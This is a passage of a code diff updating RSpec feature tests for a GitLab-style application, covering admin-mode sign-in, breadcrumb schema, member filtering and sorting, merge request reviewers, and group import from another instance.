- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
visit project_path(project)
end
diff --git a/spec/features/boards/sidebar_spec.rb b/spec/features/boards/sidebar_spec.rb
index 332c90df6d7..2af5b787a78 100644
--- a/spec/features/boards/sidebar_spec.rb
+++ b/spec/features/boards/sidebar_spec.rb
@@ -72,7 +72,7 @@ RSpec.describe 'Issue Boards', :js do
end
end
- it 'removes card from board when clicking ' do
+ it 'removes card from board when clicking' do
click_card(card)
page.within('.issue-boards-sidebar') do
diff --git a/spec/features/breadcrumbs_schema_markup_spec.rb b/spec/features/breadcrumbs_schema_markup_spec.rb
index 30d5f40fea8..a87a3d284de 100644
--- a/spec/features/breadcrumbs_schema_markup_spec.rb
+++ b/spec/features/breadcrumbs_schema_markup_spec.rb
@@ -15,15 +15,12 @@ RSpec.describe 'Breadcrumbs schema markup', :aggregate_failures do
item_list = get_schema_content
- expect(item_list.size).to eq 3
+ expect(item_list.size).to eq 2
expect(item_list[0]['name']).to eq project.namespace.name
expect(item_list[0]['item']).to eq user_url(project.owner)
expect(item_list[1]['name']).to eq project.name
expect(item_list[1]['item']).to eq project_url(project)
-
- expect(item_list[2]['name']).to eq 'Details'
- expect(item_list[2]['item']).to eq project_url(project)
end
it 'generates the breadcrumb schema for group projects' do
@@ -31,7 +28,7 @@ RSpec.describe 'Breadcrumbs schema markup', :aggregate_failures do
item_list = get_schema_content
- expect(item_list.size).to eq 4
+ expect(item_list.size).to eq 3
expect(item_list[0]['name']).to eq group.name
expect(item_list[0]['item']).to eq group_url(group)
@@ -40,9 +37,6 @@ RSpec.describe 'Breadcrumbs schema markup', :aggregate_failures do
expect(item_list[2]['name']).to eq group_project.name
expect(item_list[2]['item']).to eq project_url(group_project)
-
- expect(item_list[3]['name']).to eq 'Details'
- expect(item_list[3]['item']).to eq project_url(group_project)
end
it 'generates the breadcrumb schema for group' do
@@ -50,15 +44,12 @@ RSpec.describe 'Breadcrumbs schema markup', :aggregate_failures do
item_list = get_schema_content
- expect(item_list.size).to eq 3
+ expect(item_list.size).to eq 2
expect(item_list[0]['name']).to eq group.name
expect(item_list[0]['item']).to eq group_url(group)
expect(item_list[1]['name']).to eq subgroup.name
expect(item_list[1]['item']).to eq group_url(subgroup)
-
- expect(item_list[2]['name']).to eq 'Details'
- expect(item_list[2]['item']).to eq group_url(subgroup)
end
it 'generates the breadcrumb schema for issues' do
diff --git a/spec/features/clusters/cluster_detail_page_spec.rb b/spec/features/clusters/cluster_detail_page_spec.rb
index 31d6bcda9e8..6fe6c099d80 100644
--- a/spec/features/clusters/cluster_detail_page_spec.rb
+++ b/spec/features/clusters/cluster_detail_page_spec.rb
@@ -168,6 +168,10 @@ RSpec.describe 'Clusterable > Show page' do
let(:cluster_path) { admin_cluster_path(cluster) }
let(:cluster) { create(:cluster, :provided_by_gcp, :instance) }
+ before do
+ gitlab_enable_admin_mode_sign_in(current_user)
+ end
+
it_behaves_like 'show page' do
let(:cluster_type_label) { 'Instance cluster' }
end
diff --git a/spec/features/commits_spec.rb b/spec/features/commits_spec.rb
index 97ee891dbb8..f8e84043c1b 100644
--- a/spec/features/commits_spec.rb
+++ b/spec/features/commits_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe 'Commits' do
visit pipeline_path(pipeline)
end
- it 'Renders header', :js do
+ it 'renders header', :js do
expect(page).to have_content pipeline.sha[0..7]
expect(page).to have_content pipeline.git_commit_message.gsub!(/\s+/, ' ')
expect(page).to have_content pipeline.user.name
diff --git a/spec/features/cycle_analytics_spec.rb b/spec/features/cycle_analytics_spec.rb
index b63079777cb..233a93c2054 100644
--- a/spec/features/cycle_analytics_spec.rb
+++ b/spec/features/cycle_analytics_spec.rb
@@ -24,10 +24,6 @@ RSpec.describe 'Value Stream Analytics', :js do
wait_for_requests
end
- it 'shows introductory message' do
- expect(page).to have_content('Introducing Value Stream Analytics')
- end
-
it 'shows pipeline summary' do
expect(new_issues_counter).to have_content('-')
expect(commits_counter).to have_content('-')
@@ -48,6 +44,16 @@ RSpec.describe 'Value Stream Analytics', :js do
@build = create_cycle(user, project, issue, mr, milestone, pipeline)
deploy_master(user, project)
+ issue.metrics.update!(first_mentioned_in_commit_at: issue.metrics.first_associated_with_milestone_at + 1.day)
+ merge_request = issue.merge_requests_closing_issues.first.merge_request
+ merge_request.update!(created_at: issue.metrics.first_associated_with_milestone_at + 1.day)
+ merge_request.metrics.update!(
+ latest_build_started_at: 4.hours.ago,
+ latest_build_finished_at: 3.hours.ago,
+ merged_at: merge_request.created_at + 1.hour,
+ first_deployed_to_production_at: merge_request.created_at + 2.hours
+ )
+
sign_in(user)
visit project_cycle_analytics_path(project)
end
diff --git a/spec/features/dashboard/archived_projects_spec.rb b/spec/features/dashboard/archived_projects_spec.rb
index 9965229a539..1b349fa2276 100644
--- a/spec/features/dashboard/archived_projects_spec.rb
+++ b/spec/features/dashboard/archived_projects_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe 'Dashboard Archived Project' do
end
it 'searches archived projects', :js do
- click_button 'Last updated'
+ click_button 'Name'
click_link 'Show archived projects'
expect(page).to have_link(project.name)
diff --git a/spec/features/dashboard/group_spec.rb b/spec/features/dashboard/group_spec.rb
index 653a16bbbcc..0b99fed2a2d 100644
--- a/spec/features/dashboard/group_spec.rb
+++ b/spec/features/dashboard/group_spec.rb
@@ -17,14 +17,11 @@ RSpec.describe 'Dashboard Group' do
visit dashboard_groups_path
find('.btn-success').click
new_name = 'Samurai'
- new_description = 'Tokugawa Shogunate'
fill_in 'group_name', with: new_name
- fill_in 'group_description', with: new_description
click_button 'Create group'
expect(current_path).to eq group_path(Group.find_by(name: new_name))
expect(page).to have_content(new_name)
- expect(page).to have_content(new_description)
end
end
diff --git a/spec/features/dashboard/merge_requests_spec.rb b/spec/features/dashboard/merge_requests_spec.rb
index 952a78ec79a..0e76b5478a1 100644
--- a/spec/features/dashboard/merge_requests_spec.rb
+++ b/spec/features/dashboard/merge_requests_spec.rb
@@ -52,20 +52,29 @@ RSpec.describe 'Dashboard Merge Requests' do
end
context 'merge requests exist' do
+ let_it_be(:author_user) { create(:user) }
let(:label) { create(:label) }
let!(:assigned_merge_request) do
create(:merge_request,
assignees: [current_user],
source_project: project,
- author: create(:user))
+ author: author_user)
+ end
+
+ let!(:review_requested_merge_request) do
+ create(:merge_request,
+ reviewers: [current_user],
+ source_branch: 'review',
+ source_project: project,
+ author: author_user)
end
let!(:assigned_merge_request_from_fork) do
create(:merge_request,
source_branch: 'markdown', assignees: [current_user],
target_project: public_project, source_project: forked_project,
- author: create(:user))
+ author: author_user)
end
let!(:authored_merge_request) do
@@ -94,7 +103,7 @@ RSpec.describe 'Dashboard Merge Requests' do
create(:merge_request,
source_branch: 'fix',
source_project: project,
- author: create(:user))
+ author: author_user)
end
before do
@@ -111,6 +120,10 @@ RSpec.describe 'Dashboard Merge Requests' do
expect(page).not_to have_content(labeled_merge_request.title)
end
+ it 'does not show review requested merge requests' do
+ expect(page).not_to have_content(review_requested_merge_request.title)
+ end
+
it 'shows authored merge requests', :js do
reset_filters
input_filtered_search("author:=#{current_user.to_reference}")
@@ -159,4 +172,25 @@ RSpec.describe 'Dashboard Merge Requests' do
expect(find('.issues-filters')).to have_content('Created date')
end
end
+
+ context 'merge request review', :js do
+ let_it_be(:author_user) { create(:user) }
+ let!(:review_requested_merge_request) do
+ create(:merge_request,
+ reviewers: [current_user],
+ source_branch: 'review',
+ source_project: project,
+ author: author_user)
+ end
+
+ before do
+ visit merge_requests_dashboard_path(reviewer_username: current_user.username)
+ end
+
+ it 'displays review requested merge requests' do
+ expect(page).to have_content(review_requested_merge_request.title)
+
+ expect_tokens([reviewer_token(current_user.name)])
+ end
+ end
end
diff --git a/spec/features/dashboard/shortcuts_spec.rb b/spec/features/dashboard/shortcuts_spec.rb
index 58352518d43..b2fda28f0ec 100644
--- a/spec/features/dashboard/shortcuts_spec.rb
+++ b/spec/features/dashboard/shortcuts_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'Dashboard shortcuts', :js do
visit root_dashboard_path
end
- it 'Navigate to tabs' do
+ it 'navigate to tabs' do
find('body').send_keys([:shift, 'I'])
check_page_title('Issues')
@@ -45,7 +45,7 @@ RSpec.describe 'Dashboard shortcuts', :js do
visit explore_root_path
end
- it 'Navigate to tabs' do
+ it 'navigate to tabs' do
find('body').send_keys([:shift, 'G'])
find('.nothing-here-block')
diff --git a/spec/features/dashboard/user_filters_projects_spec.rb b/spec/features/dashboard/user_filters_projects_spec.rb
index 832f50932f4..9fa77d5917d 100644
--- a/spec/features/dashboard/user_filters_projects_spec.rb
+++ b/spec/features/dashboard/user_filters_projects_spec.rb
@@ -173,11 +173,11 @@ RSpec.describe 'Dashboard > User filters projects' do
end
end
- it 'defaults to "Last updated"', :js do
+ it 'defaults to "Name"', :js do
page.find('.filtered-search-block #filtered-search-sorting-dropdown').click
active_sorting_option = page.first('.filtered-search-block #filtered-search-sorting-dropdown .is-active')
- expect(active_sorting_option).to have_content 'Last updated'
+ expect(active_sorting_option).to have_content 'Name'
end
context 'Sorting by name' do
diff --git a/spec/features/expand_collapse_diffs_spec.rb b/spec/features/expand_collapse_diffs_spec.rb
index 0912df22924..55bdf4c244e 100644
--- a/spec/features/expand_collapse_diffs_spec.rb
+++ b/spec/features/expand_collapse_diffs_spec.rb
@@ -10,7 +10,9 @@ RSpec.describe 'Expand and collapse diffs', :js do
stub_feature_flags(increased_diff_limits: false)
allow(Gitlab::CurrentSettings).to receive(:diff_max_patch_bytes).and_return(100.kilobytes)
- sign_in(create(:admin))
+ admin = create(:admin)
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
# Ensure that undiffable.md is in .gitattributes
project.repository.copy_gitattributes(branch)
diff --git a/spec/features/file_uploads/git_lfs_spec.rb b/spec/features/file_uploads/git_lfs_spec.rb
index b902d7ab702..239afb1a1bb 100644
--- a/spec/features/file_uploads/git_lfs_spec.rb
+++ b/spec/features/file_uploads/git_lfs_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe 'Upload a git lfs object', :js do
include_context 'file upload requests helpers'
let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:user) { project.owner }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
let(:file) { fixture_file_upload('spec/fixtures/banana_sample.gif') }
@@ -19,7 +19,7 @@ RSpec.describe 'Upload a git lfs object', :js do
HTTParty.put(
url,
headers: headers,
- basic_auth: { user: user.username, password: personal_access_token.token },
+ basic_auth: { username: user.username, password: personal_access_token.token },
body: file.read
)
end
diff --git a/spec/features/file_uploads/multipart_invalid_uploads_spec.rb b/spec/features/file_uploads/multipart_invalid_uploads_spec.rb
index b3ace2e30ff..91c8e100e6a 100644
--- a/spec/features/file_uploads/multipart_invalid_uploads_spec.rb
+++ b/spec/features/file_uploads/multipart_invalid_uploads_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe 'Invalid uploads that must be rejected', :api, :js do
subject do
HTTParty.put(
url,
- basic_auth: { user: user.username, password: personal_access_token.token },
+ basic_auth: { username: user.username, password: personal_access_token.token },
body: body
)
end
diff --git a/spec/features/file_uploads/nuget_package_spec.rb b/spec/features/file_uploads/nuget_package_spec.rb
index fb1e0a54744..6e05e5d1a6e 100644
--- a/spec/features/file_uploads/nuget_package_spec.rb
+++ b/spec/features/file_uploads/nuget_package_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'Upload a nuget package', :api, :js do
subject do
HTTParty.put(
url,
- basic_auth: { user: user.username, password: personal_access_token.token },
+ basic_auth: { username: user.username, password: personal_access_token.token },
body: { package: file }
)
end
diff --git a/spec/features/global_search_spec.rb b/spec/features/global_search_spec.rb
index e6e4a55c1bb..19fb8e5f52c 100644
--- a/spec/features/global_search_spec.rb
+++ b/spec/features/global_search_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Global search' do
+ include AfterNextHelpers
+
let(:user) { create(:user) }
let(:project) { create(:project, namespace: user.namespace) }
@@ -22,9 +24,7 @@ RSpec.describe 'Global search' do
describe 'I search through the issues and I see pagination' do
before do
- allow_next_instance_of(SearchService) do |instance|
- allow(instance).to receive(:per_page).and_return(1)
- end
+ allow_next(SearchService).to receive(:per_page).and_return(1)
create_list(:issue, 2, project: project, title: 'initial')
end
diff --git a/spec/features/groups/board_spec.rb b/spec/features/groups/board_spec.rb
index 29d0347086c..b25aa26d906 100644
--- a/spec/features/groups/board_spec.rb
+++ b/spec/features/groups/board_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'Group Boards' do
visit group_boards_path(group)
end
- it 'Adds an issue to the backlog' do
+ it 'adds an issue to the backlog' do
page.within(find('.board', match: :first)) do
issue_title = 'New Issue'
find(:css, '.issue-count-badge-add-button').click
diff --git a/spec/features/groups/container_registry_spec.rb b/spec/features/groups/container_registry_spec.rb
index 1b23b8b4bf9..cacabdda22d 100644
--- a/spec/features/groups/container_registry_spec.rb
+++ b/spec/features/groups/container_registry_spec.rb
@@ -51,13 +51,6 @@ RSpec.describe 'Container Registry', :js do
expect(page).to have_content 'my/image'
end
- it 'image repository delete is disabled' do
- visit_container_registry
-
- delete_btn = find('[title="Remove repository"]')
- expect(delete_btn).to be_disabled
- end
-
it 'navigates to repo details' do
visit_container_registry_details('my/image')
diff --git a/spec/features/groups/dependency_proxy_spec.rb b/spec/features/groups/dependency_proxy_spec.rb
index 9bbfdc488fb..51371ddc532 100644
--- a/spec/features/groups/dependency_proxy_spec.rb
+++ b/spec/features/groups/dependency_proxy_spec.rb
@@ -79,13 +79,19 @@ RSpec.describe 'Group Dependency Proxy' do
sign_in(developer)
end
- context 'group is private' do
- let(:group) { create(:group, :private) }
+ context 'feature flag is disabled' do
+ before do
+ stub_feature_flags(dependency_proxy_for_private_groups: false)
+ end
- it 'informs user that feature is only available for public groups' do
- visit path
+ context 'group is private' do
+ let(:group) { create(:group, :private) }
- expect(page).to have_content('Dependency proxy feature is limited to public groups for now.')
+ it 'informs user that feature is only available for public groups' do
+ visit path
+
+ expect(page).to have_content('Dependency proxy feature is limited to public groups for now.')
+ end
end
end
diff --git a/spec/features/groups/import_export/connect_instance_spec.rb b/spec/features/groups/import_export/connect_instance_spec.rb
new file mode 100644
index 00000000000..c0f967fd0b9
--- /dev/null
+++ b/spec/features/groups/import_export/connect_instance_spec.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Import/Export - Connect to another instance', :js do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+
+ before_all do
+ group.add_owner(user)
+ end
+
+ before do
+ gitlab_sign_in(user)
+
+ visit new_group_path
+
+ find('#import-group-tab').click
+ end
+
+ context 'when the user provides valid credentials' do
+ it 'successfully connects to remote instance' do
+ source_url = 'https://gitlab.com'
+ pat = 'demo-pat'
+ stub_path = 'stub-group'
+
+ stub_request(:get, "%{url}/api/v4/groups?page=1&per_page=30&top_level_only=true" % { url: source_url }).to_return(
+ body: [{
+ id: 2595438,
+ web_url: 'https://gitlab.com/groups/auto-breakfast',
+ name: 'Stub',
+ path: stub_path,
+ full_name: 'Stub',
+ full_path: stub_path
+ }].to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+
+ expect(page).to have_content 'Import groups from another instance of GitLab'
+
+ fill_in :bulk_import_gitlab_url, with: source_url
+ fill_in :bulk_import_gitlab_access_token, with: pat
+
+ click_on 'Connect instance'
+
+ expect(page).to have_content 'Importing groups from %{url}' % { url: source_url }
+ expect(page).to have_content stub_path
+ end
+ end
+
+ context 'when the user provides invalid url' do
+ it 'reports an error' do
+ source_url = 'invalid-url'
+ pat = 'demo-pat'
+
+ fill_in :bulk_import_gitlab_url, with: source_url
+ fill_in :bulk_import_gitlab_access_token, with: pat
+
+ click_on 'Connect instance'
+
+ expect(page).to have_content 'Specified URL cannot be used'
+ end
+ end
+
+ context 'when the user does not fill in source URL' do
+ it 'reports an error' do
+ pat = 'demo-pat'
+
+ fill_in :bulk_import_gitlab_access_token, with: pat
+
+ click_on 'Connect instance'
+
+ expect(page).to have_content 'Please fill in GitLab source URL'
+ end
+ end
+
+ context 'when the user does not fill in access token' do
+ it 'reports an error' do
+ source_url = 'https://gitlab.com'
+
+ fill_in :bulk_import_gitlab_url, with: source_url
+
+ click_on 'Connect instance'
+
+ expect(page).to have_content 'Please fill in your personal access token'
+ end
+ end
+end
diff --git a/spec/features/groups/import_export/import_file_spec.rb b/spec/features/groups/import_export/import_file_spec.rb
index f117b5d56e9..7018f3b1086 100644
--- a/spec/features/groups/import_export/import_file_spec.rb
+++ b/spec/features/groups/import_export/import_file_spec.rb
@@ -32,12 +32,12 @@ RSpec.describe 'Import/Export - Group Import', :js do
fill_in :group_name, with: group_name
find('#import-group-tab').click
- expect(page).to have_content 'Import a GitLab group export file'
+ expect(page).to have_content 'Import group from file'
attach_file(file) do
find('.js-filepicker-button').click
end
- expect { click_on 'Import group' }.to change { Group.count }.by 1
+ expect { click_on 'Import' }.to change { Group.count }.by 1
group = Group.find_by(name: group_name)
@@ -60,7 +60,7 @@ RSpec.describe 'Import/Export - Group Import', :js do
find('.js-filepicker-button').click
end
- expect { click_on 'Import group' }.to change { Group.count }.by 1
+ expect { click_on 'Import' }.to change { Group.count }.by 1
group = Group.find_by(name: 'Test Group Import')
expect(group.path).to eq 'custom-path'
@@ -94,7 +94,7 @@ RSpec.describe 'Import/Export - Group Import', :js do
find('.js-filepicker-button').click
end
- expect { click_on 'Import group' }.not_to change { Group.count }
+ expect { click_on 'Import' }.not_to change { Group.count }
page.within('.flash-container') do
expect(page).to have_content('Unable to process group import file')
diff --git a/spec/features/groups/members/filter_members_spec.rb b/spec/features/groups/members/filter_members_spec.rb
index b6d33b3f4aa..917b35659a6 100644
--- a/spec/features/groups/members/filter_members_spec.rb
+++ b/spec/features/groups/members/filter_members_spec.rb
@@ -11,8 +11,7 @@ RSpec.describe 'Groups > Members > Filter members', :js do
let(:group) { create(:group) }
let(:nested_group) { create(:group, parent: group) }
- two_factor_auth_dropdown_toggle_selector = '[data-testid="member-filter-2fa-dropdown"] [data-testid="dropdown-toggle"]'
- active_inherited_members_filter_selector = '[data-testid="filter-members-with-inherited-permissions"] a.is-active'
+ filtered_search_bar_selector = '[data-testid="members-filtered-search-bar"]'
before do
group.add_owner(user)
@@ -27,7 +26,6 @@ RSpec.describe 'Groups > Members > Filter members', :js do
expect(member(0)).to include(user.name)
expect(member(1)).to include(user_with_2fa.name)
- expect(page).to have_css(two_factor_auth_dropdown_toggle_selector, text: 'Everyone')
end
it 'shows only 2FA members' do
@@ -35,7 +33,10 @@ RSpec.describe 'Groups > Members > Filter members', :js do
expect(member(0)).to include(user_with_2fa.name)
expect(all_rows.size).to eq(1)
- expect(page).to have_css(two_factor_auth_dropdown_toggle_selector, text: 'Enabled')
+
+ within filtered_search_bar_selector do
+ expect(page).to have_content '2FA = Enabled'
+ end
end
it 'shows only non 2FA members' do
@@ -43,7 +44,10 @@ RSpec.describe 'Groups > Members > Filter members', :js do
expect(member(0)).to include(user.name)
expect(all_rows.size).to eq(1)
- expect(page).to have_css(two_factor_auth_dropdown_toggle_selector, text: 'Disabled')
+
+ within filtered_search_bar_selector do
+ expect(page).to have_content '2FA = Disabled'
+ end
end
it 'shows inherited members by default' do
@@ -53,15 +57,16 @@ RSpec.describe 'Groups > Members > Filter members', :js do
expect(member(1)).to include(user_with_2fa.name)
expect(member(2)).to include(nested_group_user.name)
expect(all_rows.size).to eq(3)
-
- expect(page).to have_css(active_inherited_members_filter_selector, text: 'Show all members', visible: false)
end
it 'shows only group members' do
visit_members_list(nested_group, with_inherited_permissions: 'exclude')
expect(member(0)).to include(nested_group_user.name)
expect(all_rows.size).to eq(1)
- expect(page).to have_css(active_inherited_members_filter_selector, text: 'Show only direct members', visible: false)
+
+ within filtered_search_bar_selector do
+ expect(page).to have_content 'Membership = Direct'
+ end
end
it 'shows only inherited members' do
@@ -69,7 +74,10 @@ RSpec.describe 'Groups > Members > Filter members', :js do
expect(member(0)).to include(user.name)
expect(member(1)).to include(user_with_2fa.name)
expect(all_rows.size).to eq(2)
- expect(page).to have_css(active_inherited_members_filter_selector, text: 'Show only inherited members', visible: false)
+
+ within filtered_search_bar_selector do
+ expect(page).to have_content 'Membership = Inherited'
+ end
end
def visit_members_list(group, options = {})
diff --git a/spec/features/groups/members/search_members_spec.rb b/spec/features/groups/members/search_members_spec.rb
index 0b2d2fd478d..fe5fed307d7 100644
--- a/spec/features/groups/members/search_members_spec.rb
+++ b/spec/features/groups/members/search_members_spec.rb
@@ -21,9 +21,10 @@ RSpec.describe 'Search group member', :js do
end
it 'renders member users' do
- page.within '[data-testid="user-search-form"]' do
- fill_in 'search', with: member.name
- find('[data-testid="user-search-submit"]').click
+ page.within '[data-testid="members-filtered-search-bar"]' do
+ find_field('Filter members').click
+ find('input').native.send_keys(member.name)
+ click_button 'Search'
end
expect(members_table).to have_content(member.name)
diff --git a/spec/features/groups/members/sort_members_spec.rb b/spec/features/groups/members/sort_members_spec.rb
index f03cc36df18..68a748aa76a 100644
--- a/spec/features/groups/members/sort_members_spec.rb
+++ b/spec/features/groups/members/sort_members_spec.rb
@@ -9,8 +9,6 @@ RSpec.describe 'Groups > Members > Sort members', :js do
let(:developer) { create(:user, name: 'Mary Jane', last_sign_in_at: 5.days.ago) }
let(:group) { create(:group) }
- dropdown_toggle_selector = '[data-testid="user-sort-dropdown"] [data-testid="dropdown-toggle"]'
-
before do
create(:group_member, :owner, user: owner, group: group, created_at: 5.days.ago)
create(:group_member, :developer, user: developer, group: group, created_at: 3.days.ago)
@@ -18,76 +16,174 @@ RSpec.describe 'Groups > Members > Sort members', :js do
sign_in(owner)
end
- it 'sorts alphabetically by default' do
- visit_members_list(sort: nil)
+ context 'when `group_members_filtered_search` feature flag is enabled' do
+ def expect_sort_by(text, sort_direction)
+ within('[data-testid="members-sort-dropdown"]') do
+ expect(page).to have_css('button[aria-haspopup="true"]', text: text)
+ expect(page).to have_button("Sorting Direction: #{sort_direction == :asc ? 'Ascending' : 'Descending'}")
+ end
+ end
- expect(first_row.text).to include(owner.name)
- expect(second_row.text).to include(developer.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Name, ascending')
- end
+ it 'sorts by account by default' do
+ visit_members_list(sort: nil)
- it 'sorts by access level ascending' do
- visit_members_list(sort: :access_level_asc)
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
- expect(first_row.text).to include(developer.name)
- expect(second_row.text).to include(owner.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Access level, ascending')
- end
+ expect_sort_by('Account', :asc)
+ end
- it 'sorts by access level descending' do
- visit_members_list(sort: :access_level_desc)
+ it 'sorts by max role ascending' do
+ visit_members_list(sort: :access_level_asc)
- expect(first_row.text).to include(owner.name)
- expect(second_row.text).to include(developer.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Access level, descending')
- end
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
- it 'sorts by last joined' do
- visit_members_list(sort: :last_joined)
+ expect_sort_by('Max role', :asc)
+ end
- expect(first_row.text).to include(developer.name)
- expect(second_row.text).to include(owner.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Last joined')
- end
+ it 'sorts by max role descending' do
+ visit_members_list(sort: :access_level_desc)
- it 'sorts by oldest joined' do
- visit_members_list(sort: :oldest_joined)
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
- expect(first_row.text).to include(owner.name)
- expect(second_row.text).to include(developer.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Oldest joined')
- end
+ expect_sort_by('Max role', :desc)
+ end
- it 'sorts by name ascending' do
- visit_members_list(sort: :name_asc)
+ it 'sorts by access granted ascending' do
+ visit_members_list(sort: :last_joined)
- expect(first_row.text).to include(owner.name)
- expect(second_row.text).to include(developer.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Name, ascending')
- end
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
- it 'sorts by name descending' do
- visit_members_list(sort: :name_desc)
+ expect_sort_by('Access granted', :asc)
+ end
- expect(first_row.text).to include(developer.name)
- expect(second_row.text).to include(owner.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Name, descending')
- end
+ it 'sorts by access granted descending' do
+ visit_members_list(sort: :oldest_joined)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+
+ expect_sort_by('Access granted', :desc)
+ end
+
+ it 'sorts by account ascending' do
+ visit_members_list(sort: :name_asc)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+
+ expect_sort_by('Account', :asc)
+ end
+
+ it 'sorts by account descending' do
+ visit_members_list(sort: :name_desc)
+
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
+
+ expect_sort_by('Account', :desc)
+ end
+
+ it 'sorts by last sign-in ascending', :clean_gitlab_redis_shared_state do
+ visit_members_list(sort: :recent_sign_in)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+
+ expect_sort_by('Last sign-in', :asc)
+ end
- it 'sorts by recent sign in', :clean_gitlab_redis_shared_state do
- visit_members_list(sort: :recent_sign_in)
+ it 'sorts by last sign-in descending', :clean_gitlab_redis_shared_state do
+ visit_members_list(sort: :oldest_sign_in)
- expect(first_row.text).to include(owner.name)
- expect(second_row.text).to include(developer.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Recent sign in')
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
+
+ expect_sort_by('Last sign-in', :desc)
+ end
end
- it 'sorts by oldest sign in', :clean_gitlab_redis_shared_state do
- visit_members_list(sort: :oldest_sign_in)
+ context 'when `group_members_filtered_search` feature flag is disabled' do
+ dropdown_toggle_selector = '[data-testid="user-sort-dropdown"] [data-testid="dropdown-toggle"]'
+
+ before do
+ stub_feature_flags(group_members_filtered_search: false)
+ end
+
+ it 'sorts alphabetically by default' do
+ visit_members_list(sort: nil)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Name, ascending')
+ end
+
+ it 'sorts by access level ascending' do
+ visit_members_list(sort: :access_level_asc)
+
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Access level, ascending')
+ end
+
+ it 'sorts by access level descending' do
+ visit_members_list(sort: :access_level_desc)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Access level, descending')
+ end
+
+ it 'sorts by last joined' do
+ visit_members_list(sort: :last_joined)
+
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Last joined')
+ end
+
+ it 'sorts by oldest joined' do
+ visit_members_list(sort: :oldest_joined)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Oldest joined')
+ end
+
+ it 'sorts by name ascending' do
+ visit_members_list(sort: :name_asc)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Name, ascending')
+ end
+
+ it 'sorts by name descending' do
+ visit_members_list(sort: :name_desc)
+
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Name, descending')
+ end
+
+ it 'sorts by recent sign in', :clean_gitlab_redis_shared_state do
+ visit_members_list(sort: :recent_sign_in)
+
+ expect(first_row.text).to include(owner.name)
+ expect(second_row.text).to include(developer.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Recent sign in')
+ end
+
+ it 'sorts by oldest sign in', :clean_gitlab_redis_shared_state do
+ visit_members_list(sort: :oldest_sign_in)
- expect(first_row.text).to include(developer.name)
- expect(second_row.text).to include(owner.name)
- expect(page).to have_css(dropdown_toggle_selector, text: 'Oldest sign in')
+ expect(first_row.text).to include(developer.name)
+ expect(second_row.text).to include(owner.name)
+ expect(page).to have_css(dropdown_toggle_selector, text: 'Oldest sign in')
+ end
end
def visit_members_list(sort:)
diff --git a/spec/features/groups/members/tabs_spec.rb b/spec/features/groups/members/tabs_spec.rb
index fa77d1a2ff8..2f95e9fa6d3 100644
--- a/spec/features/groups/members/tabs_spec.rb
+++ b/spec/features/groups/members/tabs_spec.rb
@@ -62,9 +62,10 @@ RSpec.describe 'Groups > Members > Tabs' do
click_link 'Invited'
- page.within '[data-testid="user-search-form"]' do
- fill_in 'search_invited', with: 'email'
- find('button[type="submit"]').click
+ page.within '[data-testid="members-filtered-search-bar"]' do
+ find_field('Search invited').click
+ find('input').native.send_keys('email')
+ click_button 'Search'
end
end
@@ -74,9 +75,10 @@ RSpec.describe 'Groups > Members > Tabs' do
before do
click_link 'Members'
- page.within '[data-testid="user-search-form"]' do
- fill_in 'search', with: 'test'
- find('button[type="submit"]').click
+ page.within '[data-testid="members-filtered-search-bar"]' do
+ find_field('Filter members').click
+ find('input').native.send_keys('test')
+ click_button 'Search'
end
end
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index dec07eb3783..a4c450c9a2c 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
